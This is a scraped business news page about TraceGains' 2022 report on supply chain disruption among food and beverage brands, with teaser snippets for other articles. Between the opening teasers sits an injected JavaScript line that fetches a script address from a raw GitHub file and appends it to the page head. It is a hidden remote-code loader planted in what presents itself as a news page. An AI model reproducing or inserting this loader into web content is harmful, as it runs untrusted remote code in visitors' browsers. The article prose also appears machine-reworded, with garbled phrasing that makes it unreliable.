The impact of automation on the manufacturing industry
Additive manufacturing, commonly called 3D printing, has revolutionized the manufacturing industry by offering unprecedented design flexibility, customization, and …
;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
TraceGains, one of the world’s only networked ingredient sourcing platform, today made public its 2022 State of Supply Chain Disruption Report, a survey based on answers from more than 300 food and beverage brands estimating the impact that macroeconomic necessities like ingredient availability and the pandemic have had on creation, product formulation, and the trickle-down effect on consumer costs and availability.
According to the findings, the increasing cost of ingredients pushes CPGs to adjust recipes or create new formulas altogether. Regarding the impact on innovation, respondents were nearly evenly divided between CPGs continuing to innovate and those making R&D cutbacks. Lessons learned for the future include more significant supplier diversity and enlisting contract manufacturers to protect against future supply chain disorder.
“As customers, we feel the pain of supply chain issues each time we walk out of a grocery store,” TraceGains CEO Gary Nowacki said. “This survey relieves light on the problem directly from a CPG brand’s philosophy, and lets other foods and beverage companies know they’re not sole in this fight. Forward-thinking brands have employed this unfortunate time as a wake-up call to modernize antiquated procedures and those who already have are much better positioned to mitigate disruptions with as little impact as feasible.”
Price of Conducting Business
The one thing affecting almost every CPG business? Higher ingredient prices. New product evolution and recipe modifications have been instrumental in reimbursing for this and ingredients lacking like sunflower oil, wheat, and stevia.
Pace to Innovation
In the last 24 months, supply chain disruptions have rapidly escalated due to the lingering COVID-19 pandemic and the ongoing conflict in Eastern Europe, which have greatly affected CPG goods production. However, while 35% of organizations relented to R&D cutbacks, nearly as many (36%) insisted that they’ve revved innovation, underscoring the stark difference in how some companies have coped during these difficult times.
Fate of the Supply Chain
As CPG brand leaders equip for what’s next, increasing supplier diversity is the most influential strategic shift. This is followed by leveraging contract manufacturers or third-party manufacturers that make precise components or products over a specified period.
Additive manufacturing, commonly called 3D printing, has revolutionized the manufacturing industry by offering unprecedented design flexibility, customization, and …
In the bustling world of business, every entrepreneur dreams of a smooth and seamless financial journey—a path where chaos transforms …
One name stands out like a towering titan in the fast-paced realm of modern business – Amazon. From its humble beginnings as an online …
Entrepreneurs who strive to carve their niche in the Business sector definitely should be conscious of the latest trends that make their way …